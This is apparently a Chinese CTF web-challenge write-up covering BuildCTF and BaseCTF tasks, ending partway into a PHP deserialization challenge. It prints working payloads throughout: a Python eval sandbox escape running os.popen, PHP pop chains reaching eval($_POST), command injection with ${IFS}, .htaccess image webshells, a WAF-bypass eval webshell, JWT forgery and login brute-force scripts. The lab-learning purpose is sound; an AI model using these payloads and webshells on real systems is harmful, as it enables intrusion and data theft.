但是需要注意的一点,如果直接进行访问需要登入,所以我们就需要去尝试弱密码爆破或者sql注入

最后拿到账号为admin qwer1234为密码

直接登入,带着cookie访问profile.php post提交命令即可

1
SH=cat /*

[Week4] 0进制计算器

这个题主要是代码审计了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)

@app.route('/')
def home():
return render_template('index.html')

@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output

from contextlib import redirect_stdout
from io import StringIO

class StupidInterpreter:
def __init__(self):
self.variables = {}

def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)

def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)
else:
print(f"未知指令: {command}")
return("")
def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None

def checker(self, string):
try:
string.encode("ascii")
except UnicodeEncodeError:
return False
allow_chr = '0cdhor+-*/=()"\'; '
for char in string:
if char not in allow_chr:
return False

def executer(code):
outputIO = StringIO()
interpreter = StupidInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
return(output)

if __name__ == '__main__':
app.run(debug=False)

首先通过白名单绕过

1
allow_chr = '0cdhor+-*/=()"\'; '

这里最后会进行执行一个eval函数,而要做的就是将expression来进行拼接为一个能执行的字符串

1
return eval(expression, {}, {})

首先可以用python的两个函数

1
2
chr() //通过ascii码转字符
ord() //将字符转ascii码

这里就可以拼接出一个数字

1
2
ord('*')-ord(')') //这个是数字 1
//通过+就可以拼凑出一个字符的ascii

比如通过python脚本来进行编写就可以得到一个字符得ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a='a'
# print(a)
qwe=""
for i in a:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
qwe="chr("+s+")"
print(qwe)
//chr(ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')'))
print(eval(qwe)) //a

这里就可以开始分析如何拼接字符串和构造poc链了,这里主要是两个符号来进行执行

1
2
3
4
5
6
7
8
9
10
if '=' in command:  
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)

这里首先是可以通过;号来隔开每个不同的命令,而有两个命令执行形式不同,一个为=,另外一个为cdhor()

先去看看 = 号发生了什么,其实就是将等号右边的命令进行执行了,左边的作为新的键名,键值为执行结果,这里就可以大胆的想,这里就可以实现对字符串的拼接,如果将我们poc链需要的字典放到创建的集合中就可以开始拼接字符串

其实关键在执行命令时有一个替换的过程

1
2
for var, value in self.variables.items():  
expression = expression.replace(var, str(value))

这里如果将字典构建完成后,我们在通过cdhor()来执行拼接的结果就可以绕过,并且执行命令,下面的python脚本就可以开始执行,但是脚本还需要自动进行拼接,还有可能比较长,但是不影响,只是怎么简单怎么来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#首先实现字典的构造,这里构造的qwe前面会多一个;号,去掉即可
a='>:+asdfghjklqwertyuiopzxcvbnm_[\'"N]().{}, 0123456789/'
qwe=""
for i in a:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
ss="chr("+s+")"
dd=ss+"="+ss
#print(ss)
qwe=qwe+";"+dd
print(qwe)
print()
#下面构造执行命令的payload
b="globals()['__builtins__']['eval']('__import__(\"os\").popen(\"cat /fl44gggg\").read()')"
asd=""
for i in b:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
ss="chr("+s+")"
dd=ss+"="+ss
#print(ss)
asd=asd+ss
print("cdhor("+asd+")")

这里需要注意如果直接执行命令就只会输出0或者1,但是我们可以通过ssti的方法通过.read()来让print输出结果

ez!http

知识点 http头

最开始直接抓包通过repeater模块进行发包

通过修改提交的user值为root绕过第一层,或者直接修改js值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//只有从blog.buildctf.vip来的用户才可以访问
通过Referer来进行伪造
Referer: blog.buildctf.vip
//需要使用buildctf专用浏览器
通过User-Agent来进行伪造
User-Agent: buildctf
//只有来自内网的用户才能访问
通过xff来伪造内网ip
X-Forwarded-For: 127.0.0.1
//只接受2042.99.99这一天发送的请求
通过Date来伪造时间
Date: 2042.99.99
//只有发起请求的邮箱为root@buildctf.vip才能访问后台
通过From来伪造邮箱
From: root@buildctf.vip
//只接受代理为buildctf.via的请求
通过Via来设置代理
Via: buildctf.via
//浏览器只接受名为buildctf的语言
通过Accept-Language来规定语言
Accept-Language: buildctf

最后直接添加post提交

1
This_is_flag

最后的报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 27.25.151.80:37647
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://27.25.151.80:37647
Content-Type: application/x-www-form-urlencoded
User-Agent: buildctf
X-Forwarded-For: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: blog.buildctf.vip
Accept-Encoding: gzip, deflate
Accept-Language: buildctf
Date: 2042.99.99
From: root@buildctf.vip
Via: buildctf.via
Connection: close

user=root&getFlag=This_is_flag

babyupload

知识点为:.htaccess配置文件+短标签绕过

首先先上传一个.jpg文件,这个.jpg文件内容为我们的一句话木马,发现它输出一句不认识图片,这里已经修改为

1
2
Content-Type: image/jpeg 并且 后缀为.jpg了,可能原因就是图片头的作用
直接在文件开头添加 GIF89a 即可

可以尝试去绕过后缀,尝试修改为其它php形式的后缀,.php .phtml .php3,但是发现都步可以绕过,这里猜测源码里面有了白名单过滤,可能只能传jpg文件,这里也就可以猜测出可能要通过配置文件来进行解析我们上传的图片马

目前是这样的

现在就可以去尝试添加马在图片里面,这里发现提交有php的都会被waf,所以js头和简单的马都不可以写,就可以通过短标签进行绕过

1
<?= ?>

里面又继续进行了过滤,比如: system eval

所以我们可以通过反引号``来进行绕过,这里就完成了木马的上传

1
<?= `ls /`;?>

上传配置文件,刚开始因为该目录下有upload.php以为可以直接上传.user.ini但是发现绕过不了,就可以尝试上传.htaccess文件,发现上传成功只需要修改

1
Content-Type: image/jpeg

最后就是编写.htaccess文件内容,里面的qwe.jpg为上传的图片马的名字

1
2
3
<FilesMatch "qwe.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这里再去访问/uploads/qwe.jpg就发现命令执行了,但是找不到flag

尝试通过find命令来查找还是一样

最后发现在环境变量里面,通过export来即可

1
<?= `export`;?>

find-the-id

爆破题

这里要输入一个数字直接通过bp爆破模块即可

这里就可以确定为207,查看源码的flag

我写的网站被rce了?

rce管道符

这里有几个按钮,挨个点一次发现’查看日志’可以查看文件

抓报发现有一个参数,如果进行修改就发现一个提示

1
2
log_type=access
/var/log/nginx/ls.log该文件路径错误或不合法,请查看路径是否正确

猜测这里是通过拼接命令进行执行命令,但是过滤;&&也不能有就可以尝试通过||来进行命令,因为后面的.log的进行拼接去除所以就可以通过

1
||ls|| //发现报错但是执行成功

尝试知道这里过滤了空格和flag cat tac 用nl来读取${IFS}绕过空格,?来绕过flag

1
||nl${IFS}/f???||

LovePopChain

PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}

class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}

class hybcx{
public $JiuYue;
public $Si;

public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}

public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}



if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}

先逆向分析链子

1
GaoZhouYue::_clone()->MyObject::__invoke()->hybcx::__toString()->MyObject::__wakeup()

最后需要在GaoZhouYue::_clone()里面执行命令,而调用clone()魔术方法需要在调用clone方法时被调用,在MyObject::invoke()里面调用了clone,hybcx::toString()里面出现将类以函数的方法进行调用,MyObject::wakeup()最后通过比较字符串调用__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}

class GaoZhouYue{
public $Yuer;
public $LastOne;
}

class hybcx{
public $JiuYue;
public $Si;
}
$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->Si->Forgzy=new GaoZhouYue();
echo serialize($a);
// O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";s:17:"Do_You_Want_Fl4g?";s:6:"Forgzy";O:10:"GaoZhouYue":2:{s:4:"Yuer";N;s:7:"LastOne";N;}}}s:6:"Forgzy";N;}

最后就通过修改参数使其合法得

1
No[Need.For.Love=O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";s:17:"Do_You_Want_Fl4g?";s:6:"Forgzy";O:10:"GaoZhouYue":2:{s:4:"Yuer";N;s:7:"LastOne";N;}}}s:6:"Forgzy";N;}

post提交

1
y3y4=system('cat /*');

RedFlag

ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))

return flask.render_template_string(safe_jinja(redflag))

这里将redflag进行模块渲染,并且redflag为

1
/redflag/<path:redflag>

表示我们提交的/redflag/路由下的目录

1
2
3
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload

这里将()置空,并且将config、self的值变为None

如果直接进行常规的ssti就没有办法实现,但是flag写入了app.config[‘FLAG’]

就可以通过

1
{{url_for.__globals__}}//获取所有的变量

最后payload

1
{{url_for.__globals__['current_app'].config}} //获得当前app下的config值

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);

let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
res.sendFile("./index.html")
})

io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0

socket.on('disconnect', () => {
console.log('user disconnected');
});

socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});

socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});

socket.on('click', (msg) => {
let json = JSON.parse(msg)

if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}

if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}

let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));

if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}

errors[socket.id] = oldValue;
});
});

http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

其实也没有什么,主要看到给出flag的地方

1
2
3
4
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}

这里如果session的socket.id>1e20就返回flag,但是可以发现为js代码

直接点击抓包就发现,会有一串字符串进行返回

1
42["click","{\"power\":1,\"value\":2}"]

这里可以直接通过前端输入函数来实现,将power进行修改,并且

1
2
socket.off('error'); //直接关闭error函数
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value})); //直接修改其值

这里也可以通过抓包进行修改

1
42["click","{\"power\":1e30,\"value\":1e30}"]

出现这个,继续放包

1
2
42["error","previous value does not match"]
42["recievedScore","{\"value\":2.118902775372593e+29}"]

把后面两个进行修改,破坏error函数的修改即可

1
2
43["error","{\"value\":2}"]
43["receivedError","recieved"]

再点击一次就可以得flag

Why_so_serials?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];

$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}

这个是一个字符串逃逸的题,只需要将crime变为true即可

首先需要先将crime改为true,然后就可以开始尝试字符串逃逸,先看看需要逃逸的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
";s:5:"crime";b:1;}  //19个字符需要吐
<?php
class Gotham{
public $Bruce="aaa";
public $Wayne="aaaa";
public $crime=true;
}
for($q=0;$q<19;$q++){
echo "joker";
}
echo '<br>';
$a=new Gotham();
echo serialize($a);

//jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker
?Bruce=aa&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}

ez_md5

开始需要输入sql语句弱密码进行登入 ffifdyop

进去后直接给源码,这里直接给了提示robots,可以先看看robots.txt有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

robots.txt

1
2
evel2
md5(114514xxxxxxx)

这里提示我们去通过爆破,首先第一层可以直接通过数组绕过

下面就是爆破脚本

1
2
3
4
5
6
7
<?php
for($a=1145140000000;$a<1145149999999;$a++){
if(md5($a)=="3e41f780146b6c246cd49dd296a3da28"){
echo $a;
break;
}
}//1145146803531

最后考虑参数合法直接提交即可

1
2
3
a[]=1&b[]=2

Build[CTF.com=1145146803531

eazyl0gin

题目给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag

if(data.username.toLowerCase()==='buildctf'){ //如果将username转为小写强等于buildctf就return
return res.render('login',{data:"你不许用buildctf账户登陆"})
}

if(data.username.toUpperCase()!='BUILDCTF'){//如果将username转为大写不是弱等于BUILDCTF就return
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}

var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})

})

这里其实就主要考一个特性,如果知道了就可以很快写出

1
2
3
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
buıldctf

密码就直接通过md5解密得

1
012346

登入即可获取flag

刮刮乐

如何直接刮到一半时就会提示传参cmd,如果直接进行get传参就有提示

1
//不对哦,你不是来自baidu.com的自己人哦

所以需要添加请求头

1
Referer: baidu.com

其实这个是一个无回显rce,打无回显一般就三个思路,首先可以尝试是否可以将命令结果写入文件进行回显,否则出网就可以通过反弹shell来查看结果,还可以通过内存马来回显

这个题就可以通过第一种方法,并且环境不出网

1
2
ls>>1.txt //这个在这个题是无法写入的
cat /*|tee 1.txt

sub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')

messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))

return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')

@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp

@app.route('/')
def index():
return render_template('index.html')

@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401

if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')

file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')

try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')

@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)

主要执行命令的位置,这里我们可以控制文件路径,只需要绕过前面的身份验证即可

1
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)

首先需要先去login一个身份,进行登入时就会有一个set-cookie

最后需要通过伪造jwt来实现身份绕过

app.secret_key = ‘BuildCTF’直接通过jwt.io来进行绕过即可

最后带着jwt来访问page就可以提交file,这里执行命令时对空格进行了特殊处理,flag在环境变量里面

1
?file=aa;export

ez_waf

通过脏数据来绕过waf,这里的文件上传没有过滤文件名,所以可以直接提交php文件,但是过滤了太多的符号

<=等等,所以根本无法构造正常的木马

1
2
3
4
with open('qwe.php', 'w') as file:
file.write('1' * 100000)
file.write('\n')
file.write("<?php @eval($_POST['a']);?>")

直接通过蚁剑连接即可

tflock

这个题当时没有写出来,看了看题解,也是笑了,原来是环境的问题

首先在robots.txt下获取提示,在/passwordList里面有爆破的密码

首先可以通过该密码进行登入

1
2
ctfer:123456
admin:x

这里主要是要爆破出admin登入的密码,但是这里需要注意如果账户已经锁定,爆破的时候还是锁定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url = 'http://27.25.151.80:45304/login.php'
n = 0
ctfer = {
'username': 'ctfer',
'password': '123456'
}
aaa = requests.post(url, data=ctfer)
for password in open('password.txt'):
admin = {
'username': 'admin',
'password': password.replace('\n', '')
}
aaa = requests.post(url, data=admin)
print(aaa.text)
if "true" in aaa.text:
print(admin)
break
else:
aaa = requests.post(url, data=ctfer)

最后提交即可得flag

[Week1] HTTP 是什么呀

这个题考的是http基础知识

项目 你需要传入 当前传入值 是否正确
GET 参数 base we1c%00me close (请注意 URL 转义)
POST 参数 base fl@g close
Cookie c00k13 i can’t eat it close
用户代理 (User-Agent) Base Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 close
来源 (Referer) Base close
你的 IP 127.0.0.1 10.32.0.0 close

首先需要通过get提交basectf的值为we1c%00me,但是需要注意在url里面%00为空格,所以需要通过将%00进行url编码,最后就是%2500 这样就可以?basectf=we1c%2500me

第二个直接通过hackerbar来post提交Base=fl@g即可

由于最后面一个要通过伪造ip地址,需要通过X-Forwarded-For来实现,所以我改为通过用bp来进行

请求报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?basectf=we1c%2500me HTTP/1.1 
Host: challenge.basectf.fun:34690
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent:Base
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: c00k13=i can't eat it
Referer: Base
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Base=fl@g

success.php?flag=QmFzZUNURnsxOTE1ZDQ0Ni04NzFhLTRjNmUtYTgyOS0xYTgxMTQ0N2QxZWV9Cg==

最后base64解密即可获得flag

[Week1] 喵喵喵´•ﻌ•`

知识点:rce

给出源码

1
2
3
4
5
6
<?php 
highlight_file(__FILE__);
error_reporting(0);
$a =$_GET['DT'];
eval($a);
?>

直接提交DT=system(‘cat /*’);即可获得flag

[Week1] md5绕过

知识点:弱比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 =$_GET['name2'];
$password =$_POST['password'];
$password2 =$_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){ echo $flag;
} else{
echo "再看看啊,马上绕过嘞!";
}
}
else
{
echo "错啦错啦";
}}else {
echo '没看到参数呐';
}
?>

第一层直接通过输入name和password两个不同字符串,但是md5值都是以0e开头即可,name2和password2通过数组来进行绕过,或者直接都通过数组绕过也可以

?name=QNKCDZO&name2[]=1

password=240610708&password2[]=2

[Week1] A Dark Room

直接查看源码或者F12得flag

[Week1] upload

知识点:文件上传

绕过方法通过mime绕过,直接修改

Content-Type: image/jpeg

上传1.php

<?php system(‘ls’);?>

来进行绕过,在查看/uploads/1.php得flag

[Week1] Aura 酱的礼物

知识点:php伪协议

<?php highlightfile(_FILE); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST[‘pen’]; if (file_get_contents($pen) !== ‘Aura’) { die(‘这是 Aura 的礼物,你不是 Aura!’); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST[‘challenge’]; if (strpos($challenge, ‘http://jasmineaura.github.io‘) !== 0) { die(‘这不是 Aura 的博客!’); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, ‘已经收到Kengwang的礼物啦’) === false) { die(‘请去博客里面写下感想哦~’); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST[‘gift’]; include($gift);

这里我就不去将代码展开了,首先会通过file_get_contents()函数来获取pen里面得内容,可以通过data伪协议或者php://input写入,然后就是判断http://jasmineaura.github.io是否在challenge参数得开头,再通过file_get_contents($challenge)来发起http请求,查看是否有 已经收到Kengwang的礼物啦 这一句话,这里就可以通过覆盖前面得url来进行绕过通过@符号,最后就是通过php://filter来读取flag.php

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:25499&gift=php://filter/read=convert.base64-encode/resource=flag.php

再通过base64解码就可以获取flag

[Week2] ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
